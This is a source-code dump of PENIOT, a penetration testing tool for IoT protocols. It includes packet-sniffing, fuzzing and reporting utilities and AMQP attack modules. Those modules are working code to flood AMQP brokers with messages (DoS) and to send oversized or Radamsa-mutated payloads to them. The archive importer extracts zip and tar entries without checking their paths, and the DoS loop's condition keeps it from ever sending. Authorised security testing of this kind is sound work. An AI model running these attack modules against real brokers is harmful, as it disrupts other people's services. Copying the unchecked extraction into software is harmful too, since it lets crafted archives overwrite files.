full_out_dir_path): zf = zipfile.ZipFile(input_path, mode='r') namelist = zf.namelist() for _file in namelist: if ImportUtil._do_not_import_names(_file): continue try: zf.extract(_file, full_out_dir_path) except RuntimeError as _: logger.error("Error has occurred while extracting file {0}".format(_file)) zf.close() @staticmethod def import_tar(input_path, full_out_dir_path): tar = tarfile.open(input_path) namelist = tar.getnames() for _file in namelist: if ImportUtil._do_not_import_names(_file): continue try: tar.extract(_file, full_out_dir_path) except RuntimeError as _: logger.error("Error has occurred while extracting file {0}".format(_file)) tar.close() @staticmethod def import_protocol(file_path): ImportUtil.trigger_import(file_path) # Take actions with respect to importing of protocol @staticmethod def import_attack_or_attack_suite(file_path, protocol_name): ImportUtil.trigger_import(file_path, protocol_name) # Take actions with respect to importing of attack or attack suite @staticmethod def _is_file_name(name): """ :param name: File name or directory name :return: Whether name represents file or not """ return not name.endswith("/") @staticmethod def _do_not_import_names(name): return name in ImportUtil.ENTITIES @staticmethod def import_action(file_path, option, protocol_name=None): if option == ImportOptions.PROTOCOL: ImportUtil.import_protocol(file_path) elif option == ImportOptions.ATTACK_OR_ATTACK_SUITE: if protocol_name is None or protocol_name is "": raise ValueError("You need to provide protocol name to bind attack to that protocol!") ImportUtil.import_attack_or_attack_suite(file_path, protocol_name) else: raise ValueError("Unknown export option!") if __name__ == '__main__': ImportUtil.startup() ================================================ FILE: src/Utils/FilterUtil/__init__.py ================================================ """ Filtering Utilities It contains necessary functionalities used for filtering packets in several attacks 1) PyShark Filterer (used with Generic Sniffer) """ ================================================ FILE: src/Utils/FilterUtil/pyshark_filter_util.py ================================================ import logging logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("Util - PyShark Filter") class PySharkFilter: """ Container class for internally represented pyshark filter where filter has layer_name, field_nane and value to be checked while filter """ def __init__(self, layer_name, field_name, value): self.layer_name = layer_name self.field_name = field_name self.value = value def set_layer_name(self, layer_name): self.layer_name = layer_name return self def get_layer_name(self): return self.layer_name def set_field_name(self, field_name): self.field_name = field_name return self def get_field_name(self): return self.field_name def set_value(self, value): self.value = value return self def get_value(self): return self.value def apply_filter_to_packet(self, packet): """ Apply filter to packet, if exists check value equality otherwise return False :param packet: Packet to be filtered :return: Whether packet is the same value with filter value """ try: return packet[self.layer_name].get_field_value(self.field_name).main_field.raw_value == unicode(self.value) except KeyError: logger.error("Given layer name or field name is not defined in packet!") return False ================================================ FILE: src/Utils/FuzzerUtil/__init__.py ================================================ """ Fuzzer Utilities It contains necessary functionalities used for fuzzing attacks 1) Radamsa Random Fuzzing Payload Generator """ ================================================ FILE: src/Utils/FuzzerUtil/radamsa_util.py ================================================ import logging import subprocess logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") logger = logging.getLogger("Util - Radamsa") ASCII_DECODE_LIMIT = 128 def radamsa_malformed_input_generator(input_string, output_count=1): """ Return test case output from given input string :param output_count: Number of returned output strings :param input_string: Any type of variable can be input :return: Radamsa generated output string for fuzzing """ # Create subprocess for both echo and radamsa echo_process = subprocess.Popen(["echo", input_string], stdout=subprocess.PIPE) radamsa_process = subprocess.Popen(["radamsa", "-n", str(output_count)], stdin=echo_process.stdout, stdout=subprocess.PIPE) echo_process.stdout.close() # Get values output_string, error_message = radamsa_process.communicate() if error_message is None: if output_count > 1: # If it are more than one, then split it return output_string.split("\n") else: return output_string else: logger.debug(error_message) def get_ascii_decodable_radamsa_malformed_input(input_string, output_count=1): def delete_non_ascii_characters(_string): return "".join([_ for _ in _string if ord(_) < ASCII_DECODE_LIMIT]) returned_strings = radamsa_malformed_input_generator(input_string, output_count) _type = type(returned_strings) if _type == list: return [delete_non_ascii_characters(_returned_string) for _returned_string in returned_strings] elif _type == str: return delete_non_ascii_characters(returned_strings) else: logger.error("Non-matched type for output value") ================================================ FILE: src/Utils/RandomUtil/__init__.py ================================================ """ Random Utilities It contains necessary functionalities that is related to randomized operations. """ ================================================ FILE: src/Utils/RandomUtil/random_generated_names.py ================================================ import random import string import time def get_random_client_name(): return 'peniot-cli-' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + '-' + str(int(time.time())) def get_random_file_name(): return 'peniot_file_' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + '-' + str(int(time.time())) ================================================ FILE: src/Utils/ReportUtil/__init__.py ================================================ """ Report Generation Utilities It contains necessary functionalities used for reporting 1) Report Generator """ ================================================ FILE: src/Utils/ReportUtil/report_generator.py ================================================ from fpdf import FPDF from Utils.CommonUtil import get_current_datetime_for_report_format, get_current_datetime_for_filename_format class PeniotPDF(FPDF): TITLE = 'PENIOT: Penetration Testing Tool for IoT' COPYRIGHT = 'Copyright ' + chr(169) + ' 2018 - 2019 PENIOT Group. All Rights Reserved.' def header(self): self.set_font('Arial', 'B', 16) # Add an address self.cell(0, 15, self.TITLE, ln=1, align='C') # Line break self.ln(15) self.line(0, 35, self.w, 35) def footer(self): self.set_y(-10) self.set_font('Arial', size=9) page = 'Page ' + str(self.page_no()) self.cell(0, 5, self.COPYRIGHT, 0, 0, 'C', 0) self.cell(0, 5, page, 0, 0, 'R') def add_title_and_date(self, attack_name): self.set_font("Arial", size=14, style='B') self.cell(0, 5, attack_name + ' Summary', 0, 0, 'L') self.set_font("Arial", size=12) self.cell(0, 5, 'Date: ' + get_current_datetime_for_report_format(), 0, 0, 'R') self.ln(10) def add_attack_logs(self, attack_logs): self.set_font("Arial", size=12) self.multi_cell(0, 5, txt=attack_logs) class GenerateReport(object): @staticmethod def generate_pdf_from_text(protocol_name, attack_name, attack_logs, directory): pdf = PeniotPDF() pdf.add_page() pdf.add_title_and_date(attack_name) pdf.add_attack_logs(attack_logs) output_name = ('_'.join((protocol_name + ' ' + attack_name).split())).lower() pdf.output(directory + output_name + '_' + get_current_datetime_for_filename_format()) if __name__ == '__main__': txt = """ Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras quis lacus varius, tempus odio vitae, tempor enim. Cras ut nibh justo. Ut diam ipsum, interdum commodo orci non, ultrices dictum magna. Curabitur tortor lacus, finibus et mattis nec, malesuada nec nibh. Morbi nec sem a leo tincidunt viverra quis eget leo. Aliquam erat volutpat. In tempor auctor tincidunt. Aliquam lectus dui, semper vel justo a, molestie tristique magna. Mauris nec vulputate sapien, blandit convallis felis. In a orci vel urna vehicula faucibus quis et mi. Duis lacus magna, malesuada eu mattis vestibulum, interdum vitae lectus. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse a lectus id nibh semper hendrerit non eget nisi. Maecenas massa magna, euismod ac dui et, tristique porta metus. Maecenas sed massa eget leo commodo sagittis iaculis ac nisi. Suspendisse ullamcorper, purus quis faucibus venenatis, metus mauris faucibus turpis, ac posuere magna velit non est. Ut ac odio vitae ante ultricies aliquam. Quisque sapien sem, condimentum at erat nec, luctus facilisis nisl. Sed maximus velit ac pellentesque sagittis. Donec ac sagittis leo, et laoreet sem. Vivamus egestas lectus non bibendum accumsan. Sed tempus risus id odio volutpat, a ullamcorper odio lacinia. In vitae velit nulla. Praesent a venenatis diam, a vestibulum tortor. Duis tincidunt efficitur faucibus. Praesent eget dui tellus. Vestibulum dapibus aliquam arcu. Donec vulputate sem enim, quis tincidunt diam blandit ut. Curabitur accumsan maximus risus, sed dictum ligula volutpat vitae. Curabitur convallis ac mauris ut consectetur. Quisque tellus arcu, ultrices vel ante quis, aliquet fringilla mauris. Sed ornare eros sed interdum facilisis. Duis dictum augue vel rutrum maximus. Phasellus neque dolor, pretium non risus in, tincidunt feugiat eros. Integer vel odio iaculis, faucibus neque quis, mollis enim. Etiam ac euismod orci. Donec tempor, erat at cursus porta, tortor sem aliquam leo, eget porta erat libero eu enim. Etiam felis elit, consectetur a facilisis id, porta quis nulla. Quisque libero odio, ultrices quis est et, efficitur pellentesque dui. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Praesent semper tempus risus, eu condimentum leo interdum sed. Aenean turpis leo, aliquet non ligula venenatis, fermentum maximus velit. Aliquam aliquam posuere libero, quis cursus nisl gravida quis. Proin ac interdum lorem, vitae varius lacus. Maecenas sit amet convallis leo, sit amet tincidunt enim. Suspendisse sit amet risus sit amet libero aliquam mollis. Vestibulum vehicula lacus condimentum, fermentum turpis id, pretium eros. Cras sagittis sem nec porta dictum. Donec a accumsan dolor. Nam dictum eros at leo viverra, ac mattis elit placerat. Mauris ornare pulvinar massa nec rutrum. Nunc nec erat at est lobortis dictum ut in enim. Donec eu est sit amet lacus feugiat blandit. Praesent a sollicitudin ex, blandit fermentum tellus. Nulla vitae viverra ipsum, in pharetra dolor. Praesent imperdiet nec nisi aliquam dictum. Nunc ultricies sodales porta. Donec consectetur finibus tellus, porttitor sodales sapien pulvinar in. Duis suscipit suscipit felis eu luctus. Nam in dolor aliquam, laoreet elit a, faucibus ligula. Nulla quis nisl imperdiet dolor molestie rhoncus. Fusce neque tortor, blandit at sapien in, egestas fermentum felis. Curabitur auctor ipsum vitae velit vestibulum ultrices. Pellentesque eget lectus urna. Aenean commodo semper orci sit amet dictum. Curabitur ultrices vitae ipsum in bibendum. Nunc at justo ut augue mollis aliquam. Sed varius, purus at sagittis condimentum, ex velit elementum neque, at malesuada dui arcu nec orci. Nullam viverra, nisi aliquam porta tempor, ex ex bibendum eros, eu viverra urna turpis eu massa. Vestibulum quam lectus, ullamcorper sit amet imperdiet in, tincidunt quis tortor. Sed non mollis ligula, non imperdiet nunc. Nam elementum augue sit amet risus pulvinar, id dapibus velit laoreet. Sed commodo arcu ut tellus commodo, sed gravida nisl viverra. Sed non sapien lacus. Etiam nec gravida urna, vitae sodales risus. Donec iaculis vel ex aliquam imperdiet. Maecenas condimentum imperdiet porta. Suspendisse potenti. Donec tincidunt vestibulum libero, ac lobortis nisi interdum ac. Curabitur luctus nisl a lorem ultrices pellentesque. Nam eleifend at ex nec pretium. Nullam id purus eget metus facilisis condimentum quis non urna. Quisque et volutpat purus. Pellentesque facilisis molestie orci, a pharetra dolor aliquet sed. Vestibulum purus mi, dapibus ac rutrum et, convallis at magna. Nunc leo justo, finibus quis molestie vel, accumsan sit amet diam. Quisque vehicula lacus vitae augue imperdiet vulputate. Phasellus vulputate metus vel ex dapibus, nec pretium sapien eleifend. Cras metus erat, vehicula sed mi ut, eleifend finibus dui. Mauris bibendum, velit vel mollis sodales, libero orci congue dui, non dapibus eros lectus malesuada tortor. Ut dignissim dui turpis, ut faucibus velit consectetur nec. Aenean vestibulum turpis pulvinar egestas fringilla. Suspendisse potenti. Etiam dignissim sapien ac velit molestie, ac blandit augue tempor. Pellentesque laoreet tellus a dui dignissim, eget sagittis lacus pharetra. Sed id elit ac lorem tristique cursus. Nunc vel porta augue. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec at dolor eget arcu dignissim mollis at eget erat. Aenean sodales enim id massa vehicula, ac tempus massa dictum. Praesent facilisis id urna vel scelerisque. Etiam pharetra consequat massa eget molestie. Donec ullamcorper ipsum ut orci aliquet placerat. Quisque sit amet magna quis velit tincidunt placerat. Nulla facilisi. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Duis congue est sit amet arcu sollicitudin dapibus. Maecenas tristique venenatis ante, eu elementum leo sollicitudin vel. Suspendisse at accumsan nulla. Nam blandit auctor purus posuere tempor. Pellentesque molestie pellentesque justo ut condimentum. Aenean non fringilla mi. Nullam elementum nibh orci, eget imperdiet eros elementum hendrerit. Nam vitae volutpat odio. Pellentesque a ligula iaculis odio varius porta at ut ipsum. Nulla mi augue, malesuada iaculis nibh sed, blandit molestie enim. Donec luctus ipsum sed mollis porta. Nam hendrerit finibus turpis, ac elementum ante mattis vel. Aliquam tincidunt varius tellus sed tempus. Fusce vel tellus sem. Sed suscipit ex in auctor dictum. Duis ullamcorper tortor urna, non ullamcorper justo convallis ac. Nullam at est magna. Nam id erat mattis orci bibendum ultrices et in nisl. Maecenas a fringilla lorem. In facilisis, sapien volutpat posuere consectetur, ligula erat ornare neque, a ornare velit. """ GenerateReport.generate_pdf_from_text('CoAP', 'DoS Attack', txt) ================================================ FILE: src/Utils/SnifferUtil/__init__.py ================================================ """ Sniffer Utilities It contains necessary functionalities used for sniffers 1) Generic Sniffer with PyShark """ ================================================ FILE: src/Utils/SnifferUtil/generic_sniffer.py ================================================ import logging import os import pyshark from Utils.FilterUtil import pyshark_filter_util as pyshark_filter_util logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("Generic Sniffer") DEFAULT_INTERFACE = "any" DEFAULT_SNIFF_TIMEOUT = 15. DEFAULT_SAVE = False DEFAULT_SAVE_DIR = os.path.dirname(os.path.abspath(__file__)) + "/../../captured_packets/" def filter_packets_by_filter_list(packets, filter_list): """ :param packets: Packet list :param filter_list: Filters with respect to packet field :type filter_list: list of pyshark_filter_util.PySharkFilter :return: Filtered packets as list """ filtered_packets = [packet for packet in packets if all(single_filter.apply_filter_to_packet(packet) for single_filter in filter_list)] return filtered_packets class GenericSniffer: """ Generic sniffer template class The class can listen specific interface by tshark over pyshark and filter wanted packets by looking at display filter parameter with the given timeout amount """ def __init__(self, timeout=DEFAULT_SNIFF_TIMEOUT, interface=DEFAULT_INTERFACE, use_json=False, include_raw=False, output_pcap_filename=None, output_dir=DEFAULT_SAVE_DIR, display_filter=None): self.captured_packets = None self.timeout = timeout self.interface = interface self.use_json = use_json self.include_raw = include_raw # Default value is None and it is important to have it None since it will not produce file in this case if output_pcap_filename is None: self.output_pcap_filename = None else: self.output_pcap_filename = "{0}{1}{2}".format(output_dir, output_pcap_filename, ("" if output_pcap_filename.endswith(".pcap") else ".pcap")) self.display_filter = display_filter def start_live_capture(self): """ Start capture procedure of packets over listener :return: None since captured packets are saved internally """ capture = pyshark.LiveCapture(interface=self.interface, use_json=self.use_json, include_raw=self.include_raw, output_file=self.output_pcap_filename, display_filter=self.display_filter) capture.sniff(timeout=self.timeout) self.captured_packets = capture._packets logger.info("{0} packets are captured.".format(len(self.captured_packets))) capture.close() def get_captured_packets(self): """ :return: Captured packets as list """ return self.captured_packets def filter_packets_by_protocol(self, protocol=None): """ Filtering operation of packets via protocol name :param protocol: Protocol name which will be used for filtering packets by looking their layers :return: Filtered packet list """ if protocol is None: return self.captured_packets else: return filter(lambda packet: protocol in str(packet.layers), self.captured_packets) if __name__ == '__main__': sniffer = GenericSniffer() sniffer.start_live_capture() ================================================ FILE: src/Utils/__init__.py ================================================ """ General Utility Module """ ================================================ FILE: src/__init__.py ================================================ ================================================ FILE: src/captured_packets/__init__.py ================================================ """ This package contains the all captured packets. The files inside this package follows these rules: - Name of the file begins with the protocol name which packets belong to. - Then, the time at which packets are captured is appended to the file name. - The file extension is .pcap. Here are some example file names: MQTT_2014-09-26_16:34:40.pcap, AMQP_2014-09-26_17:25:40.pcap """ ================================================ FILE: src/module_installer.py ================================================ print "Checking whether we have necessary dependencies installed..." try: import paho.mqtt print "[+] You have paho-mqtt module installed." except ImportError: print "[-] You have to install paho.mqtt module" print "\tHint: sudo -H pip install paho-mqtt" try: import bluepy print "[+] You have bluepy module installed." except ImportError: print "[-] You have to install bluepy module" print "\tHint: sudo -H pip install bluepy" try: import coapthon print "[+] You have coapthon module installed." except ImportError: print "[-] You have to install coapthon module" print "\tHint: sudo -H pip install coapthon" try: import Cython print "[+] You have Cython module installed." except ImportError: print "[-] You have to install Cython module" print "\tHint: sudo -H pip install Cython" try: import pygame print "[+] You have pygame module installed." except ImportError: print "[-] You have to install pygame module" print "\tHint: sudo -H pip install pygame" try: import pika print "[+] You have pika module installed." except ImportError: print "[-] You have to install pygame module" print "\tHint: sudo -H pip install pika" ================================================ FILE: src/peniot.py ================================================ # Run the program driver of tkinter if __name__ == '__main__': from GUI.tkinter import run run() ================================================ FILE: src/protocols/AMQP/__init__.py ================================================ """ This package contains the following functionalities: 1) Example usage of AMQP. 2) AMQP Scanner """ ================================================ FILE: src/protocols/AMQP/amqp_protocol.py ================================================ import unittest from Entity.protocol import Protocol class AMQP(Protocol): def __init__(self): amqp_definition = "AMQP stands for Advanced Message Queuing Protocol and it is an open standard application layer protocol.\n\n" \ "There are a couple of key parts in AMQP:\n" \ "* Broker (Server): An application - implementing the AMQP model - that accepts connections from clients\n" \ " for message routing, queuing etc.\n" \ "* Message: Content of data transferred / routed including information such as payload and message attributes.\n" \ "* Consumer: An application which receives message(s) - put by a producer - from queues.\n" \ "* Producer: An application which puts messages to a queue." attack_suites = [] Protocol.__init__(self, "AMQP", attack_suites, amqp_definition) class TestAMQPProtocol(unittest.TestCase): def setUp(self): self.amqp = AMQP() def tearDown(self): pass def test_name(self): self.assertEqual("AMQP", self.amqp.get_protocol_name()) def test_attacks(self): attack_suites = self.amqp.get_attack_suites() self.assertIsNotNone(attack_suites) self.assertEquals(len(attack_suites), 0) if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/AMQP/amqp_scanner.py ================================================ from Utils.SnifferUtil import generic_sniffer as generic_sniffer # Capturing via TShark amqp_layer_filter = "amqp" class AMQPScanner: """ This class is used to scan for a AMQP device. It captures packets from the network and try to find AMQP devices. """ def __init__(self): pass @staticmethod def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE, use_json_and_include_raw=False, output_pcap_filename=None): sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface, use_json=use_json_and_include_raw, include_raw=use_json_and_include_raw, output_pcap_filename=output_pcap_filename, display_filter=amqp_layer_filter) sniffer.start_live_capture() return sniffer.get_captured_packets() if __name__ == '__main__': packets = AMQPScanner().scan() for packet in packets: print packet ================================================ FILE: src/protocols/AMQP/attacks/__init__.py ================================================ """ This is a package that contains attacks to AMQP protocol. Currently, it supports the following attacks 1) Denial of Service Attack 2) Fuzzing Attack """ ================================================ FILE: src/protocols/AMQP/attacks/amqp_dos_attack.py ================================================ import logging import multiprocessing import signal import time import unittest import pika from Entity.attack import Attack from Entity.input_format import InputFormat class AMQPDoSAttack(Attack): """ AMQP Protocol - DoS Attack Module """ # Input Fields host = "localhost" queue = "peniot-queue" exchange = "peniot-exchange" routing_key = "peniot-routing-key" body = "peniot-body" exchange_type = "direct" timeout = 0.01 # Misc Members connection = None channel = None logger = None sent_message_count = 0 stopped_flag = False def __init__(self): default_parameters = ["", "", "", "", "", "", 10.0] inputs = [ InputFormat("Host Name", "host", "localhost", str, mandatory=True), InputFormat("Queue Name", "queue", "peniot-queue", str, mandatory=True), InputFormat("Exchange Name", "exchange", "peniot-exchange", str, mandatory=True), InputFormat("Routing Key", "routing_key", "peniot-routing-key", str, mandatory=True), InputFormat("Message Body", "body", "peniot-body", str, mandatory=True), InputFormat("Exchange Type", "exchange_type", "direct", str, mandatory=True), InputFormat("Timeout", "timeout", self.timeout, float) ] Attack.__init__(self, "AMQP DoS Attack", inputs, default_parameters, " We send AMQP requests to the client.\n" " The time difference between those requests\n" " can be specified.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Connection will be closed") self.stopped_flag = True if self.connection is not None: self.connection.close() time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): # Get connection and channel self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host)) self.channel = self.connection.channel() # Create exchange self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type) # Define queue to store self.channel.queue_declare(queue=self.queue) def run(self): super(AMQPDoSAttack, self).run() self.pre_attack_init() # Start client loop for requests while self.stopped_flag is True: self.sent_message_count += 1 self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=self.body) self.logger.info("{0} messages published.".format(str(self.sent_message_count))) time.sleep(self.timeout) class TestMQTTDoSAttack(unittest.TestCase): def setUp(self): self.amqp_dos_attack = AMQPDoSAttack() def tearDown(self): pass def test_name(self): self.assertEqual("AMQP DoS Attack", self.amqp_dos_attack.get_attack_name()) def test_inputs(self): inputs = self.amqp_dos_attack.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 7) def test_non_initialized_inputs(self): inputs = self.amqp_dos_attack.get_inputs() for _input in inputs: value = getattr(self.amqp_dos_attack, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["a.b.c.d", "pen-queue", "pen-exchange", "pen-routing-key", "peniot-payload", "pen-exh-type", 13.2] for index, _input in enumerate(example_inputs): self.amqp_dos_attack.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.amqp_dos_attack.connection) super(AMQPDoSAttack, self.amqp_dos_attack).run() inputs = self.amqp_dos_attack.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.amqp_dos_attack, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_dos_attack(self): def run_attack(): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 1] for index, _input in enumerate(example_inputs): self.amqp_dos_attack.inputs[index].set_value(_input) self.amqp_dos_attack.run() print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="DoS Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/AMQP/attacks/amqp_fuzzing_attack_suite.py ================================================ from amqp_payload_size_fuzzer import * from amqp_random_payload_fuzzing import * from Entity.attack_suite import AttackSuite class AMQPFuzzingAttackSuite(AttackSuite): def __init__(self): attacks = [AMQPRandomPayloadFuzzingAttack(), AMQPPayloadSizeFuzzerAttack()] AttackSuite.__init__(self, "AMQP Fuzzing Attack Suite", attacks) class TestAMQPFuzzingAttackSuite(unittest.TestCase): def setUp(self): self.amqp_fuzzing_attack_suite = AMQPFuzzingAttackSuite() def tearDown(self): pass def test_name(self): self.assertEqual("AMQP Fuzzing Attack Suite", self.amqp_fuzzing_attack_suite.get_attack_suite_name()) def test_attack_list(self): attacks = self.amqp_fuzzing_attack_suite.get_attacks() self.assertIsNotNone(attacks) self.assertGreater(len(attacks), 0, "Non inserted attacks") self.assertEquals(len(attacks), 2) def test_attacks(self): attacks = self.amqp_fuzzing_attack_suite.get_attacks() for attack in attacks: p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name()) p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/AMQP/attacks/amqp_payload_size_fuzzer.py ================================================ import logging import multiprocessing import random import signal import time import unittest import pika from Entity.attack import Attack from Entity.input_format import InputFormat class AMQPPayloadSizeFuzzerAttack(Attack): """ AMQP Protocol - Payload Size Fuzzer Attack module It is created to test any AMQP device as black box test with malformed or semi-malformed inputs """ # Input Fields host = "localhost" queue = "peniot-queue" exchange = "peniot-exchange" routing_key = "peniot-routing-key" payload = None exchange_type = "direct" turn = 10 # Misc Members connection = None channel = None logger = None sent_message_count = 0 max_payload_length = 2 ** 32 stopped_flag = False def __init__(self): default_parameters = ["", "", "", "", "", "", 10] inputs = [ InputFormat("Host Name", "host", "localhost", str, mandatory=True), InputFormat("Queue Name", "queue", "peniot-queue", str, mandatory=True), InputFormat("Exchange Name", "exchange", "peniot-exchange", str, mandatory=True), InputFormat("Routing Key", "routing_key", "peniot-routing-key", str, mandatory=True), InputFormat("Payload", "payload", "", str, mandatory=True), InputFormat("Exchange Type", "exchange_type", "direct", str, mandatory=True), InputFormat("Fuzzing Turn", "turn", 10, int) ] Attack.__init__(self, "AMQP Payload Size Fuzzer Attack", inputs, default_parameters, " AMQP Payload size fuzzer attack description") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Connection will be closed") self.stopped_flag = True if self.connection is not None: self.connection.close() time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): try: assert self.turn >= 2 except AssertionError as e: raise # Get connection and channel self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host)) self.channel = self.connection.channel() # Create exchange self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type) # Define queue to store self.channel.queue_declare(queue=self.queue) def run(self): Attack.run(self) self.pre_attack_init() assert self.turn >= 2 # Fill the size list as randomly generated size_list = [0, self.max_payload_length] size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.turn - 2)]) fuzzing = 0 self.logger.info("Size payload fuzzing is started. Please consider it may take some time.") for payload_size in size_list: if self.stopped_flag is True: break # Create payload and send it random_strings = "".join([chr(_) for _ in range(65, 91)]) + "".join([chr(_) for _ in range(97, 123)]) random_character = random.choice(random_strings) sized_payload = random_character * payload_size self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=sized_payload) # Informative procedures self.logger.info("Turn {0} is completed".format(fuzzing + 1)) self.sent_message_count += 1 fuzzing += 1 time.sleep(1) if self.stopped_flag is False: self.logger.info("Payload size attack is finished.") class TestCoAPPayloadSizeAttack(unittest.TestCase): def setUp(self): self.amqp_payload_size_fuzzer = AMQPPayloadSizeFuzzerAttack() def tearDown(self): pass def test_name(self): self.assertEqual("AMQP Payload Size Fuzzer Attack", self.amqp_payload_size_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.amqp_payload_size_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 7) def test_non_initialized_inputs(self): inputs = self.amqp_payload_size_fuzzer.get_inputs() for _input in inputs: value = getattr(self.amqp_payload_size_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 5] for index, _input in enumerate(example_inputs): self.amqp_payload_size_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.amqp_payload_size_fuzzer.connection) super(AMQPPayloadSizeFuzzerAttack, self.amqp_payload_size_fuzzer).run() inputs = self.amqp_payload_size_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.amqp_payload_size_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_invalid_fuzzing_turn(self): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 1] for index, _input in enumerate(example_inputs): self.amqp_payload_size_fuzzer.inputs[index].set_value(_input) super(AMQPPayloadSizeFuzzerAttack, self.amqp_payload_size_fuzzer).run() try: self.amqp_payload_size_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_payload_size_fuzzing_attack(self): def run_attack(): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 3] for index, _input in enumerate(example_inputs): self.amqp_payload_size_fuzzer.inputs[index].set_value(_input) try: self.amqp_payload_size_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name="DoS Attack") p.start() time.sleep(5) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/AMQP/attacks/amqp_random_payload_fuzzing.py ================================================ import logging import multiprocessing import random import signal import time import unittest import pika from Entity.attack import Attack from Entity.input_format import InputFormat from Utils.FuzzerUtil import radamsa_util as rdm class AMQPRandomPayloadFuzzingAttack(Attack): """ AMQP Protocol - Random Payload Fuzzing Attack module """ # Input Fields host = "localhost" queue = "peniot-queue" exchange = "peniot-exchange" routing_key = "peniot-routing-key" payload = None exchange_type = "direct" turn = 10 count = 1 # Misc Members connection = None channel = None logger = None sent_message_count = 0 max_length_of_random_payload = 100 stopped_flag = False def __init__(self): default_parameters = ["", "", "", "", "", "", 10, 1] inputs = [ InputFormat("Host Name", "host", "localhost", str, mandatory=True), InputFormat("Queue Name", "queue", "peniot-queue", str, mandatory=True), InputFormat("Exchange Name", "exchange", "peniot-exchange", str, mandatory=True), InputFormat("Routing Key", "routing_key", "peniot-routing-key", str, mandatory=True), InputFormat("Payload", "payload", "", str), InputFormat("Exchange Type", "exchange_type", "direct", str, mandatory=True), InputFormat("Fuzzing Turn", "turn", 10, int), InputFormat("Fuzzing Count", "count", 1, int) ] Attack.__init__(self, "AMQP Random Payload Fuzzing Attack", inputs, default_parameters, " It creates a random payload and sends \n" " this payload to the client.") logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s") # Signal handler to exit from function signal.signal(signal.SIGINT, self.signal_handler) def signal_handler(self, sig, frame): self.stop_attack() def stop_attack(self): self.logger.info("Connection will be closed") self.stopped_flag = True if self.connection is not None: self.connection.close() time.sleep(2) # Sleep two seconds so the user can see the message def pre_attack_init(self): # Get connection and channel self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host)) self.channel = self.connection.channel() # Create exchange self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type) # Define queue to store self.channel.queue_declare(queue=self.queue) def run(self): Attack.run(self) self.pre_attack_init() payload = self.payload if payload is None: # Create seed with randomly length = random.randint(1, self.max_length_of_random_payload) payload = "".join([chr(random.randint(1, 127)) for _ in range(length)]) self.logger.info("Random payload fuzzing is started.") for fuzzing in range(self.turn): if self.stopped_flag is True: break while True: try: returned_strings = rdm.get_ascii_decodable_radamsa_malformed_input(payload, self.count) if 